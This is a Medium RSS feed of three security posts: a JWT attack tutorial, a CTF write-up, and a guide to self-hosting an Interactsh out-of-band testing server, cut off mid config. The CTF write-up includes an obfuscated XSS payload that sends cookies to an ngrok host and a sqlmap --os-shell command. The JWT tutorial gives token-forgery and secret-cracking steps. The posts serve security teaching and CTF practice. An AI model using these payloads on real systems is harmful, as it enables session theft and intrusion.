<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dishant on Medium]]></title>
        <description><![CDATA[Stories by Dishant on Medium]]></description>
        <link>https://medium.com/@dk9510?source=rss-3059fad049a6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wo4Jx7wesDf9XTfazSQMkQ.png</url>
            <title>Stories by Dishant on Medium</title>
            <link>https://medium.com/@dk9510?source=rss-3059fad049a6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 15:06:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dk9510/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[JSON Web Tokens Vulnerabilities and Exploitation.]]></title>
            <link>https://dk9510.medium.com/json-web-tokens-vulnerabilities-and-exploitation-9c6689616396?source=rss-3059fad049a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c6689616396</guid>
            <category><![CDATA[jwt-token]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Dishant]]></dc:creator>
            <pubDate>Mon, 19 Dec 2022 07:33:54 GMT</pubDate>
            <atom:updated>2022-12-19T07:33:54.997Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi all…. My self Dishant(dk9510) , and here i will teach you how to find vulnerabilities in JSON Web Tokens or JWTs, so lets start.</p><h3>What is JWT?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VhGcKaGI5Jbg11Nt.png" /><figcaption>source google.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*i8QBXsuhOrW12Vra" /><figcaption>image taken from Portswigger web security Academy.</figcaption></figure><ul><li>JSON Web Token (JWT) is a compact, URL-safe means of representing<br> claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is used as the payload of a JSON Web Signature (JWS) structure or as the plaintext of a JSON Web Encryption (JWE) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted.</li><li>JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information (“claims”) about users as part of authentication, session handling, and access control mechanisms.</li></ul><h3>JWT Format:</h3><p>3 parts : <strong>HEADER</strong>, <strong>PAYLAOD</strong> and <strong>SIGNATURE</strong> separated by dot(<strong>.</strong>)</p><ol><li>eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9. <strong>HEADER</strong></li><li>eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ. <strong>PAYLOAD</strong></li><li>SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfA <strong><em>SIGNATURE</em></strong></li></ol><blockquote><strong>This is how decoded Paylaod from JWT TOKEN is looks li</strong>ke</blockquote><pre>{<br>    &quot;iss&quot;: &quot;portswigger&quot;,<br>    &quot;exp&quot;: 1648037164,<br>    &quot;name&quot;: &quot;Carlos Montoya&quot;,<br>    &quot;sub&quot;: &quot;carlos&quot;,<br>    &quot;role&quot;: &quot;blog_author&quot;,<br>    &quot;email&quot;: &quot;carlos@carlos-montoya.net&quot;,<br>    &quot;iat&quot;: 1516239022<br>}</pre><blockquote><strong>In most cases, this data can be easily read or modified by anyone with access to the token. Therefore, the security of any JWT-based mechanism is heavily reliant on the cryptographic signature.</strong></blockquote><h3>JWT Signature.</h3><p>The server that issues the token typically generates the signature by <strong>hashing the header and payload</strong>. In some cases, they also encrypt the resulting hash. Either way, this process involves a <strong>secret signing key.</strong> This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:</p><ul><li>As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.</li><li>Without knowing the server’s secret signing key, it shouldn’t be possible to generate the correct signature for a given header or payload.</li></ul><h3>Where JWT is Used.</h3><p>Mostly JWT Token is used in Session-tokens, API tokens for Authentication and Authorization of the user. when user logged in the server will generate an Signed JWT token to the user who logged in, and use it as session token for the authentication purpose.</p><h3>JWT Attacks.</h3><p>user send modified JWT to server so that can bypass access control on the server, or privilege escalation or Account takeover</p><blockquote><strong>We have use full tools for manipulating JWT Token</strong></blockquote><blockquote><strong>JWT Editor </strong>Burp-Suite extension which is very usefull on analysing the token, editing and exploitaion.</blockquote><blockquote><a href="https://jwt.io/"><strong>jwt.io </strong></a>: these is also alternative for JWT-Editor, for viewving, signing, and exploitng jwt misconfiguration vulnerabilty.</blockquote><h3>Finding and exploiting JWT vulnerabilities.</h3><p>For finding these type of vulnerabilities we need to do manual approach and needs to check for all possible misconfiguration, one-by-one</p><h3>Exploiting Flawed JWT Signature Verification</h3><ul><li>the server is not store any information about the jwts that they issue, token is entirely self-contained entity. since the server doesn’t know the signature and contents of token, we can make arbitrary change in token and forge the token to server.</li><li>eg. here we can change the isAdmin paramenter to true to got the admin privileges.</li></ul><pre>{<br>    &quot;username&quot;: &quot;dk&quot;,<br>    &quot;isAdmin&quot;: false //change this to true,<br>//re-encode the token and send it t server<br>}</pre><h4>Server accepting arbitrary Signature</h4><ul><li>signature is present on the token but server is not verifying the signature with orignal signature, we can temper the token, re-encode and send to server in order to exploit them.</li></ul><h4>Server accepting Tokens with no Signature</h4><ul><li>“<strong>alg</strong>” parameter of jwt -header tells the server that which algorithum used to sign the token, we can sign jwt using “<strong>none</strong>” algorithum , servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as <strong>mixed capitalization</strong> and unexpected encodings. <strong>JWT editor &gt; Attack &gt; None sign.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*hZIB7Yajkjhxz3cfga_NIA.png" /></figure><h4>Brute-Forcing the Secret keys used to sign using HS256 alg.</h4><ul><li>Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it’s crucial that this secret can’t be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.</li><li>we can use <a href="https://hashcat.net/hashcat/"><strong>Hashcat</strong></a> to bruteforce signing secret key.</li></ul><pre>Hashcat hashcat -a 0 -m 16500 jwt wordlist</pre><blockquote><a href="https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list">https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list</a> common jwt secrets list.</blockquote><ul><li>once the key is identified, we can temper the payload of the JWT Token and resign the token using “found secret key”</li></ul><h3>JWT Header Parameter Injection.</h3><p>Acc to JWS only <strong>alg</strong> parameter is mandatory, but in practise jwt headers (JOSE headers) contain several parameters such as</p><ul><li><strong>jwk</strong> : JSON WEB KEY - Provides an embaded JSON Object Representing key</li><li><strong>jku</strong>: JSON Web Key Set Url: Provides a URL from which servers can fetch a set of keys containing the correct key.</li><li><strong>kid</strong>: Key ID - provides an ID to Key so that server can identify correct key , since there are multiple keys present</li></ul><h4>Injecting Self-Signed JWTs Via the jwk paramter</h4><pre>{<br> &quot;kid&quot;: &quot;ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG&quot;,<br> &quot;typ&quot;: &quot;JWT&quot;,<br> &quot;alg&quot;: &quot;RS256&quot;,<br> &quot;jwk&quot;: {<br>    &quot;kty&quot;: &quot;RSA&quot;,<br>    &quot;e&quot;: &quot;AQAB&quot;,<br>    &quot;kid&quot;: &quot;ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG&quot;,<br>    &quot;n&quot;: &quot;yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m&quot;<br>    }<br>}</pre><blockquote>Ideally, servers should only use a limited whitelist of public keys to verify JWT signatures. However, misconfigured servers sometimes use any key that’s embedded in the jwk parameter.</blockquote><p>we can exploit this using <strong>signing modified jwt with our own generated RSA private key and then embading matching public key in </strong><strong>jwk parameter.</strong></p><ul><li>generate new rsa key in<a href="https://github.com/PortSwigger/jwt-editor"> JWT editor</a> extension.</li><li>modify paylaod of jwt</li><li>attack &gt; embaded JWK</li></ul><h4>Injecting Self-signed JWTs via jku Parameter</h4><p>instead of embading public keys directly using the jwk header paramter, some servers let you use <strong>jku</strong> (JWK set URL) , header parameter</p><blockquote>here is example of how json object looks at remote url. <a href="https://someurl.com/jwks.json">https://someurl.com/jwks.json</a></blockquote><blockquote>Some time JWK Sets are exposed to publicly via Standerd Endpoint such as <strong>/.well-known/jwks.json</strong></blockquote><pre>{<br>    &quot;keys&quot;: [<br>        {<br>            &quot;kty&quot;: &quot;RSA&quot;,<br>            &quot;e&quot;: &quot;AQAB&quot;,<br>            &quot;kid&quot;: &quot;75d0ef47-af89-47a9-9061-7c02a610d5ab&quot;,<br>            &quot;n&quot;: &quot;o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ&quot;<br>        },<br>        {<br>            &quot;kty&quot;: &quot;RSA&quot;,<br>            &quot;e&quot;: &quot;AQAB&quot;,<br>            &quot;kid&quot;: &quot;d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA&quot;,<br>            &quot;n&quot;: &quot;fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw&quot;<br>        }<br>    ]<br>}</pre><blockquote>More secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL <strong>parsing discrepancies</strong> to <strong>bypass</strong> this kind of <strong>filtering</strong></blockquote><ul><li>Modify the payload of jwt.</li><li>Inject “<strong>jku</strong>” header paramter in <strong>JWT header</strong>, and put signed public key in <strong>your-server.com/jwk.json </strong>in above mentioned format.</li></ul><pre> &quot;kid&quot;:&quot;somr hex of kid of key&quot;,<br>&quot;jku&quot;:&quot;https://ourserver.com/jwks.json&quot;</pre><ul><li>sign the token with our generated private key and send to server. if server is misconfigured we success fully exploit this, else not vulnerable to this attack.</li></ul><h3>How to prevent JWT Attacks</h3><ul><li>Use Up-to-date library for JWT handling.</li><li>implement Robust Signature verification on received JWTs, and account for edge-cases such as JWTs signed using unexpected algorithms.</li><li>Enforce Strict White-list for permitted hosts for jku header parameter</li><li>always set expiration date for tokens</li><li>Enable the issuing server to revoke tokens on logout. etc</li></ul><p>reference: <a href="https://portswigger.net/web-security/jwt">portswigger-web security academy</a></p><p>Twitter: DK_9510.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c6689616396" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write ups For Synack RedTeam Five 2022]]></title>
            <link>https://dk9510.medium.com/ctf-write-ups-for-synack-redteam-five-2022-c841bc3ff859?source=rss-3059fad049a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c841bc3ff859</guid>
            <category><![CDATA[synack-redteam-five-ctf]]></category>
            <category><![CDATA[ctf-write-ups]]></category>
            <dc:creator><![CDATA[Dishant]]></dc:creator>
            <pubDate>Mon, 07 Nov 2022 06:15:57 GMT</pubDate>
            <atom:updated>2022-11-07T06:15:57.613Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello There, here is write up for challenges i have solved in Synack redteam five 2022, so lets start it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ynSk8TaStZBLyVxdIZWxqw.png" /></figure><h4>Challange 1: Paid forms.</h4><p>In this challenge there is normal web site which hosts the post, and there on post page there is functionality to search, and this is vulnerable to DOM xss, since the client side script will parse the parameter and embade output in response, so success fully exploited DOM xss, but how do i get flag from this?</p><p>There is one more functionality which is to report the post, by giving the Post id as seen in below image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SAIsgYCJm0rpXV3zGzJKKw.png" /></figure><p>and this is white box CTF so source code is available to us, and from there a Bot.js file which is handle the reported post, by viewing in browser, like this below code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*pFSq6VT-yb6BxufmP4YYcg.png" /></figure><p>From here we can see that , there is no sensitization of id which is given by us, so we can utilize the DOM XSS and , we can exfiltrate cookie, as our flag is in Cookie.</p><p>Payload that need to send with report post is</p><pre>2?search=&lt;img src=x onerror=eval(atob(‘dmFyIHhodHRwID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7dmFyIHVybD0iaHR0cDovL2I5MjgtMTAzLTI1MC0xMzctMTE5Lm5ncm9rLmlvLz9jPSIrZG9jdW1lbnQuY29va2llO3hodHRwLm9wZW4oIkdFVCIsIHVybCwgdHJ1ZSk7eGh0dHAuc2VuZCgpOw’))`</pre><p>and we got exfiltrated cookie in our server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmJ5E_AVH7EcF0SeVfuFUQ.png" /><figcaption>flag</figcaption></figure><h4>Challenge 2: Web_shoe_bunch</h4><p>In this challenge a normal e commerce site which sells shoe, and there is not much functionality there,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*YwRWj5c_Wb95UBDeGJlCIg.png" /></figure><p>and since source code is available with us, i found that in database.js in one of endpoint is not using prepared statement</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*71ImqKO4JG1bxhWA3MtUtQ.png" /></figure><p>so i found that at /shop/search?query= endpoint is vulnerable to SQLI, and database was Postgresql, to confirm vulnerability i send &#39;;select+1+from+pg_sleep(10);-- and the response will e be come back after 10 second, so vulnerability is confirm, now i have used sqlmap to exploit it and send arbitrary system command.</p><pre>sqlmap -u <a href="http://someip:port/shop/search?query=*">http://someip:port/shop/search?query=*</a> --dbms=postgresql --level=3 --risk=3 --os-shell --proxy=http://127.0.0.1:8080</pre><p>and see traffic though burp,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*DC1bHKytI9TSLGfc2DKzIw.png" /><figcaption>output of ls command.</figcaption></figure><p>and flag was moved to / directory with some random value after flag_value.txt so again from the sqlmap shell, run cmd ls / and go the name of the flag, now need to exfiltrate the flag, so i have used <strong>Interactsh by Project-discovery </strong>same as burp-collaborater free alternative</p><blockquote><a href="https://github.com/projectdiscovery/interactsh">https://github.com/projectdiscovery/interactsh</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*Yw-rtxmpH-cz4hczH6_63w.png" /><figcaption>data exfil</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*W10DG90HDvqtHcWSOybj1g.png" /><figcaption>Flag.txt is exfiltrate successfully.</figcaption></figure><h4>Challange 3: Misc_isitmath</h4><p>This was pwn challenge and source for this challenge is not give, so i have connected to given challenge url by netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*tFCbUlE3ei6KIaGjjoF-_g.png" /></figure><p>here i need to calculate the mathematical expression in very short time, and the expression is random every time, so to match the speed i need to write a script which can calculate the expression and send the result to the server, and i need to calculate 500 expression , so lets write a script.</p><pre>#!/bin/python2.7<br>from pwn import *</pre><pre>import socket</pre><pre>host=&quot;134.122.106.163&quot;<br>port=31942<br>bot=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>bot.connect((host,port))</pre><pre>data=bot.recv(1024)<br>print(data)<br>d=data.split(&#39;:&#39;)<br>d1=d[1].strip(&quot; = ? \nAnswer&quot;)<br>print(d1)<br>solution = int(util.safeeval.expr(d1))<br>print(solution)<br>bot.send(str(solution)+&quot;\n&quot;)</pre><pre>while True:<br>    data=bot.recv(1024)<br>    print(data)<br>    d=data.split(&#39;:&#39;)<br>    d1=d[2].strip(&quot; = ? \nAnswer&quot;)<br>    print(d1)<br>    solution = int(util.safeeval.expr(d1))<br>    print(solution)<br>    bot.send(str(solution)+&quot;\n&quot;)</pre><p>this will use Python socket lib to connect to challenge, and use pwn lib to evaluate expression, and after some time from running a script when 500 question’s answer are given correctly the flag will be provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*C-BrXJ8PZCPrSUj1MA--zA.png" /><figcaption>flag</figcaption></figure><h4>challenge 4: Web_Quote_blogs</h4><p>This challenge is also same like paid_form, but here i found Stored XSS in the writing Quotes, it will be reviewed by admin bot in the back-end, on a browser, so i just used xsshunter.com a blind xss exploitation tool, and got the admin cookie success fully, and our flag is in cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*7xEqsBDiraSfiXvbJN-TRA.png" /></figure><h4>Challange 5: Exfil (Forensics3)</h4><p>We are given a zip file that contains a pcap file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cC9AVHHXk0T6Wkpf" /></figure><p>We have some HTTP, TCP, MySQL traffic !</p><p>Following the MySQL Traffic :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Lv4bQC5k9LXCNqLo" /></figure><p>We find a lot of Time Based SQL queries are invoked after some TCP traffic !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*934m9wHA2NQ4vFvT" /></figure><p>Let’s analyze those queries :</p><p><strong><em>$ tshark -r capture.pcap -Y “mysql.command==3” -T fields -e mysql.query &gt; timed_queries.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPe81P6lSWCUAa141CLXyg.png" /></figure><p>It’s Out Of Bound Exfiltration using time based SQL injection :</p><p>It’s leaking the value of the queried parameter BIT by BIT and doing that based on the response time : <strong>if it takes less than 3 seconds to answer then it’s a 0 else it’s a 1</strong></p><p>In order to recover the leaked value, we need to the timestamps of each request</p><p>Assuming that the important data is in the password column :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*UZce9IEVMtFrqCgQEw8ewA.png" /></figure><p>Let’s grep the time field only, it’s enough for our calculation :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*3VeMBZVXpc-SxW--7vkxjg.png" /></figure><p>Then, our little script will calculate the time difference between each request and determine if the bit was a 0 or a 1 :</p><pre>#!/bin/python3</pre><pre>import datetime<br>import binascii</pre><pre>timeframe = [ int( (datetime.datetime.strptime(x.strip()[:-3],&#39;%H:%M:%S.%f&#39;) - datetime.datetime(1900,1,1)).total_seconds() ) for x in open(&#39;time.txt&#39;).readlines() ]<br>output =&quot;&quot;<br>for i in range(len(timeframe) -1):<br> if timeframe[i+1] - timeframe[i] &lt;3:<br>  output +=&#39;0&#39;<br> else:<br>  output +=&#39;1&#39;</pre><pre>output = &quot;0b&quot;+output+&#39;1&#39;<br>n = int(output,2)<br>flag = binascii.unhexlify(&#39;%x&#39;% n)<br>print(flag)</pre><p>We run it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*UCmaE5LmuUOsX9oNhUqmtw.png" /></figure><blockquote>There is mistake , in 2xf1l is 3xf1l as it written in Leet.</blockquote><blockquote>So that’s it For now.</blockquote><blockquote>Thanks for Reading.</blockquote><p>Twitter @DK_9510</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c841bc3ff859" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host your own Interactsh-server and integrate with discord to get notification While test for OAST]]></title>
            <link>https://dk9510.medium.com/private-self-hosted-interactsh-server-with-discord-integration-c18baca5cc8d?source=rss-3059fad049a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c18baca5cc8d</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[outofbandtesting]]></category>
            <category><![CDATA[interactsh-server]]></category>
            <dc:creator><![CDATA[Dishant]]></dc:creator>
            <pubDate>Wed, 08 Jun 2022 07:47:04 GMT</pubDate>
            <atom:updated>2022-06-20T05:02:51.800Z</atom:updated>
            <content:encoded><![CDATA[<h3>Host your own Interactsh-server and integrate with discord to get notification While Testing for Out-of-Band Interaction</h3><blockquote>welcome to my 2nd blog about hosting your own private Interactsh-server developed by <a href="https://github.com/projectdiscovery/"><strong>Project Discovery</strong></a> and integrate it with your discord server so you can get all the interaction output straight to your discord server using discord web-hooks, and don’t need to continuously watch intractsh-client , so lets start.</blockquote><p>I have tried my best to give tutorial on how to host Private Interactsh-server in VPS</p><p><strong>Pre-Requisist</strong></p><ul><li>A Domain name like <strong><em>example.com </em></strong><em>from any provider like freenome, namecheap, godaddy, name.com etc</em></li><li>A VPS(virtual private server),i prefere <strong>Digitalocean</strong> it’s cheap and you got <strong>100$ free credit</strong> if you use my refferel : <a href="https://m.do.co/c/af98128d7c92"><strong>go </strong></a><strong>here</strong></li><li>A Discord server, you can create your own at <strong>Discord.com </strong>and that’s it all</li></ul><blockquote><strong>What is OAST</strong></blockquote><blockquote>OAST is is Out of Band testing is used when we have to <strong>SSRF</strong>, Blind SQL Injection to exfiltrate data, <strong>http</strong>,<strong>Smtp</strong>,<strong>LDAP</strong> &amp; <strong>dns</strong> interaction from the vulnerable server, to verify that it works or not, our payload got executed by the server or not, <strong>Burp Collaborator </strong>is same thing &amp; used by Pentester, Bug Hunters &amp; security Researchers to test Out of Band Interaction. You can learn about it more by Googling.</blockquote><h3>Now we can start configuring and hosting Interactsh-server</h3><h3>STEP 1 Buy A Domain</h3><p>you can use any domain name provider/seller like Name.com, namecheap.com, godaddy.com etc but configure your in your Dns record to use <strong>Custom Nameserver of Digital Occean i.e ns1.digitaloccean.com, ns2.digitaloccean.com, ns3.digitaloccean.com</strong></p><blockquote>here i have configured custom Nameserver which is pointing to Digitaloccean’s name server.</blockquote><figure><img alt="CustomName server in Namecheap.com" src="https://cdn-images-1.medium.com/max/724/1*8ClPgTqVOxu4_Xic1ijDPw.png" /><figcaption>Nameserver for my domain so all dns related configuration can be done in digitaloccean’s control pannel</figcaption></figure><h4><strong>STEP 2 create Droplets and configure it</strong></h4><ul><li>go to <a href="https://cloud.digitalocean.com/">https://cloud.digitalocean.com/</a> in that first create a drop let, with basic plan 5$/month is more than enough.</li><li>create droplets with ubuntu or debian os, i have created with ubuntu 20.0 lts , with 1 core shared cpu, 1GB memory, 25GB storage and 1000GB network transfer.</li><li>configure it with ssh key or password what ever you want it depends, but for better security use ssh keys for login.</li><li>it take some time to create vm and give an IP to it, then login to your vps using ssh and create a user with sudo privilege and disable root login to server for security best practice, you can google it how to create a user, assign a sudo role, and disable root login via ssh.</li></ul><h4>STEP 3 install GO 1.17+</h4><ul><li>update the system and install go language , i have make script to install and configure GO Lang in Debian based system.</li></ul><pre>wget <a href="https://dl.google.com/go/go1.17.8.linux-amd64.tar.gz">https://dl.google.com/go/go1.17.8.linux-amd64.tar.gz</a> <br>sudo tar -xvf go1.17.8.linux-amd64.tar.gz <br>sudo mv -f go /usr/local/<br>export GOROOT=/usr/local/go<br>export GOPATH=$HOME/go <br>export PATH=$GOPATH/bin:$GOROOT/bin:$PATH</pre><p>open .bashrc and create environment variable like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*koeWGe8iMONvnQvmtFOz2g.png" /></figure><p>Now install Interactsh-server from <a href="https://github.com/projectdiscovery/interactsh">projet-discovery’s gitub</a></p><pre>go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest</pre><p>Now we need to get <strong>SSL Certificate </strong>so we can interact with HTTPS port also , we can use Self Signed certificate if you did not want to spend money on it, i had also used self signed certificate, for this we are using CertBot it will automatically but need to provide digitaloccean’s API key with read and wright permission so it can make txt record for your domain and verify it.</p><p><strong>Install Cert Bot using Snapcraft</strong></p><ul><li>install snap</li></ul><pre>sudo apt install snapd <br># now install certbot<br>sudo snap instal snapd --classic <br>sudo snap install certbot-dns-digitalocean<br># trust the dnd-digitaloccen plugin for certbot using cmd<br>sudo snap set certbot trust-plugin-with-root=ok</pre><p>Now get digital occean API key from cloud.digitaloccen.com/project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6ox0eTY9l5Ja7mSZYf69A.png" /></figure><p>put api key in file called digi.ini like this</p><pre># DigitalOcean API credentials used by Certbot<br>dns_digitalocean_token = 0000111122223333444455556666777788889999aaaabbbbccccddddeeeeffff</pre><p>set permission to 600 to digi.ini by running chmod 600 digi.ini</p><p>now run certbot with sudo and put yourdomain name in example.com and make sure digi.ini file in the same directory</p><pre>sudo certbot certonly --dns-digitalocean --dns-digitalocean-credentials ./digi.ini --dns-digitalocean-propagation-seconds 60 -d oast.example.com -d &quot;*.oast.example.com</pre><p>if all good it will create certificate in /etc/letsencrypt/live/oast.example.com/ directory</p><p>now lets change the dns for our domain.</p><ol><li>add domain in your digitalocean’s project by going to Networking tab</li><li>add A record for ns1.oast.example.com to point towards droplets as in picture</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TVbdRZz5iwAnWnHEq10RaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*bfJ1ghClNAQFqj40S-E9sQ.png" /></figure><p>3. Add NS record for oast.example.com which point to ns1.oast.example.com as in above picture.</p><p>now dns records are configured properly now lets start interactsh-server, but before starting server stop the dns resolution in the vps so it realse the port 53 and we bind it with the interactsh server</p><pre>sudo systemctl stop systemd-resolved.service<br>sudo systemctl disable systemd-resolved.service</pre><h4>Step 4 configuration file for interactsh server</h4><pre># interactsh-server config file <br># generated by https://github.com/projectdiscovery/goflags <br> <br># flag configuration file <br>#config: /home/user/.config/interactsh-server/config.yaml <br> <br># configured domain to use with interactsh server <br>domain: oast.example.com <br> <br># public ip address to use for interactsh server <br>ip: your-servers public ip <br> <br># public ip address to listen on <br>listen-ip: 0.0.0.0 <br> <br># number of days to persist interaction data in memory <br>eviction: 50 <br> <br># enable authentication to server using random generated token <br>#auth: false <br> <br># enable authentication to server using given token <br>token: some-random-most-secure-string-for-authentication-with-interactsh-server-by-interactsh-client <br> <br># origin url to send in acao header (required to use web-client) <br>#acao-url: https://app.interactsh.com <br> <br># skip acme registration (certificate checks/handshake + tls protocols will be disabled) <br>#skip-acme: false <br> <br># scan canary token everywhere <br>#scan-everywhere: false <br> <br># length of the correlation id preamble <br>#correlation-id-length: 20 <br> <br># length of the correlation id nonce <br>#correlation-id-nonce-length: 13 <br> <br># custom certificate path <br>cert: /etc/letsencrypt/live/oast.example.com/cert.pem  <br> <br># custom private key path <br>privkey: /etc/letsencrypt/live/oast.example.com/priv.key (private key in /etc/letsencrypt/live/domain/)  <br> <br># port to use for dns service <br>dns-port: 53 <br> <br># port to use for http service <br>http-port: 80 <br> <br># port to use for https service <br>https-port: 443 <br> <br># port to use for smtp service <br>smtp-port: 25 <br> <br># port to use for smtps service <br>smtps-port: 587 <br> <br># port to use for smtps autotls service <br>smtp-autotls-port: 465 <br> <br># port to use for ldap service <br>ldap-port: 389 <br> <br># enable ldap server with full logging (authenticated) <br>ldap: true <br> <br># enable wildcard interaction for interactsh domain (authenticated) <br>wildcard: true <br> <br># start smb agent - impacket and python 3 must be installed (authenticated) <br>#smb: false <br> <br># start responder agent - docker must be installed (authenticated) <br>#responder: false <br> <br># start ftp agent (authenticated) <br>#ftp: false <br> <br># port to use for smb service <br>#smb-port: 445 <br> <br># port to use for ftp service <br>#ftp-port: 21 <br> <br># ftp directory - temporary if not specified <br>#ftp-dir: <br> <br># show version of the project <br>#version: false <br> <br># start interactsh server in debug mode <br>#debug: false</pre><p>you can tweak the config file acc to your values and need. and save it as config.yaml</p><h4>Step 5 Now run the interactsh-server in tmux</h4><p>since we close the ssh window but over server must be running so for that reason we are running in tmux, run set of commands in the directory where the config.yaml is stored</p><pre>tmux</pre><pre>sudo /home/youruser/go/bin/interactsh-server -config ./config.yaml <br># if all things are properly done then you can see output like this</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*yNlXuORLxT6MDSfX6g6ANg.png" /></figure><h4>Step 6 Creat config file for Interactsh-client</h4><p>Install interactsh client in your laptop/pc using go,make sure you have installed go and go version is greater than <strong>go1.17+</strong></p><pre>go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest<br># config file will be stored in .config/interactsh-client/config.yaml edit this file </pre><p>config.yaml file</p><pre># interactsh-client config file <br># generated by https://github.com/projectdiscovery/goflags <br> <br># interactsh server(s) to use <br>server: oast.example.com <br>#number: 